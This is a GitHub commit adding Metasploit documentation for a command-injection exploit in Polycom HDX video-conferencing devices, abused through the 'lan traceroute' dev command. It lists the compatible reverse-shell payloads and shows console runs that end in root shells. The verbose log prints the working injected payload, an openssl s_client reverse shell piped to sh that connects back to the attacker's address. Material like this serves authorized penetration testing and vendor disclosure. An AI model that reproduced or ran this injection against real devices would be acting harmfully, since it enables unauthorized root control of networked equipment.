Skip to content

Commit 256bf5a

Browse files
author
Austin
authored
Create polycom_hdx_traceroute_exec.md
1 parent f7e2fb3 commit 256bf5a

File tree

1 file changed

+131
-0
lines changed

1 file changed

+131
-0
lines changed

‎documentation/modules/exploit/unix/misc/polycom_hdx_traceroute_exec.md

Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
Within Polycom HDX series devices, there is a command execution vulneralbility in one of the dev commands `devcmds`, `lan traceroute` which subtituing `$()` or otherwise similiar operand , similiar to [polycom_hdx_auth_bypass](https://github.com/rapid7/metasploit-framework/blob/f250e15b6ee2d7b3e38ee1229bee533a021d1415/modules/exploits/unix/polycom_hdx_auth_bypass.rb) could allow for an attacker to obtain a command shell. Spaces must be replaced with `#{IFS}` aka `Internal Field Seperator`
2+
3+
4+
## Vulnerable Application
5+
Tested on the latest and greatest version of the firmware, vendor has not patched since being reported. [Found here](http://downloads.polycom.com/video/hdx/polycom-hdx-release-3.1.10-51067.pup)
6+
7+
## Options
8+
### PASSWORD
9+
Although a majority of devices come without a password, occasionally when one is required, you can set one to either the default `456`, `admin`, or `POLYCOM`, or
10+
the devices.
11+
12+
13+
## Payloads
14+
Supported payloads include the telnet payload `cmd/unix/reverse` but not `cmd/unix/reverse_ssl_double_telnet` Alternatively, `cmd/unix/reverse_openssl` can be used or, your own choice of executing any arbitary command with `cmd/unix/generic`
15+
16+
```
17+
Compatible Payloads
18+
===================
19+
20+
Name Disclosure Date Rank Description
21+
---- --------------- ---- -----------
22+
cmd/unix/generic normal Unix Command, Generic Command Execution
23+
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
24+
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
25+
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
26+
```
27+
28+
## Verification Steps
29+
30+
A successful check of the exploit will look like this:
31+
```
32+
msf exploit(polycom) > set RHOST 192.168.0.17
33+
RHOST => 192.168.0.17
34+
msf exploit(polycom) > set LHOSt ens3
35+
LHOSt => ens3
36+
msf exploit(polycom) > set LPORT 3511
37+
LPORT => 3511
38+
msf exploit(polycom) > show payloads
39+
40+
Compatible Payloads
41+
===================
42+
43+
Name Disclosure Date Rank Description
44+
---- --------------- ---- -----------
45+
cmd/unix/generic normal Unix Command, Generic Command Execution
46+
cmd/unix/reverse normal Unix Command Shell, Double Reverse TCP (telnet)
47+
cmd/unix/reverse_openssl normal Unix Command Shell, Double Reverse TCP SSL (openssl)
48+
cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
49+
50+
msf exploit(polycom) > set PAYLOAD cmd/unix/reverse
51+
PAYLOAD => cmd/unix/reverse
52+
msf exploit(polycom) > set VERBOSE false
53+
VERBOSE => false
54+
msf exploit(polycom) > run
55+
56+
[*] Started reverse TCP double handler on 192.168.0.11:3511
57+
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
58+
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:34874...
59+
[*] Accepted the first client connection...
60+
[*] Accepted the second client connection...
61+
[*] Command: echo vGopPRp0jBxt4J2D;
62+
[*] Writing to socket A
63+
[*] Writing to socket B
64+
[*] Reading from sockets...
65+
[*] Reading from socket B
66+
[*] B: "vGopPRp0jBxt4J2D\n"
67+
[*] Matching...
68+
[*] A is input...
69+
[*] Command shell session 10 opened (192.168.0.11:3511 -> 192.168.0.17:37687) at 2017-11-15 10:29:58 -0500
70+
[*] 192.168.0.17:23 - Shutting down payload stager listener...
71+
72+
id
73+
uid=0(root) gid=0(root)
74+
whoami
75+
root
76+
```
77+
78+
## Debugging
79+
Setting `VERBOSE` to true should yield an output of.
80+
81+
```
82+
msf exploit(polycom) > set VERBOSE true
83+
VERBOSE => true
84+
rmsf exploit(polycom) > run
85+
86+
[*] Started reverse TCP double handler on 192.168.0.11:3511
87+
[*] 192.168.0.17:23 - Received : !
88+
Polycom Command Shell
89+
XCOM host: localhost port: 4121
90+
TTY name: /dev/pts/6
91+
Session type: telnet
92+
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: freeing conn [conn: 0x1266f300] [sock: 104] [thread: 0x12559e68]
93+
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: SessionHandler: freeing session 4340
94+
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession(sess: 4340)
95+
2017-11-15 15:33:12 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: deleteSession current open sessions count= 9
96+
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:main_server_thread: new connection [conn: 0x1266f300] [sock: 104]
97+
2017-11-15 15:33:12 DEBUG avc: pc[0]: XCOM:INFO:server_thread_handler: new conn [conn: 0x1266f300] [sock: 104] [thread: 0x1255a010] [TID: 3380]
98+
2017-11-15 15:33:12 DEBUG avc: pc[0]: uimsg: [R: telnet /tmp/apiasynclisteners/psh6 /dev/pts/6]
99+
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession(type: telnet sess: 4342)
100+
2017-11-15 15:33:13 DEBUG jvm: pc[0]: UI: xcom-api: ClientManager: createSession current open sessions count= 10
101+
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: register_api_session pSession=0x12669918
102+
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: about to call sendJavaMessageEx
103+
2017-11-15 15:33:13 DEBUG avc: pc[0]: appcom: session 4342 registered
104+
105+
[+] 192.168.0.17:23 - 192.168.0.17:23 - Device has no authentication, excellent!
106+
[+] 192.168.0.17:23 - Sending payload of 126 bytes to 192.168.0.17:37450...
107+
[*] Accepted the first client connection...
108+
[*] Accepted the second client connection...
109+
[*] Command: echo WD3QloY3fys6n7dK;
110+
[*] Writing to socket A
111+
[*] Writing to socket B
112+
[*] Reading from sockets...
113+
[*] 192.168.0.17:23 - devcmds
114+
Entering sticky internal commands *ONLY* mode...
115+
lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`
116+
2017-11-15 15:33:13 DEBUG avc: pc[0]: uimsg: [D: lan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh`]
117+
2017-11-15 15:33:13 DEBUG avc: pc[0]: os: task:DETR pid:3369 thread 4e5ff4c0 11443 12660c68
118+
2017-11-15 15:33:14 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}192.168.0.11${IFS}-port${IFS}37873|sh` hop_count: 0
119+
120+
[*] Reading from socket B
121+
[*] B: "WD3QloY3fys6n7dK\n"
122+
[*] Matching...
123+
[*] A is input...
124+
[*] Command shell session 11 opened (192.168.0.11:3511 -> 192.168.0.17:38624) at 2017-11-15 10:34:23 -0500
125+
[*] 192.168.0.17:23 - Shutting down payload stager listener...
126+
127+
id
128+
uid=0(root) gid=0(root)
129+
whoami
130+
root
131+
```

0 commit comments

Comments
 (0)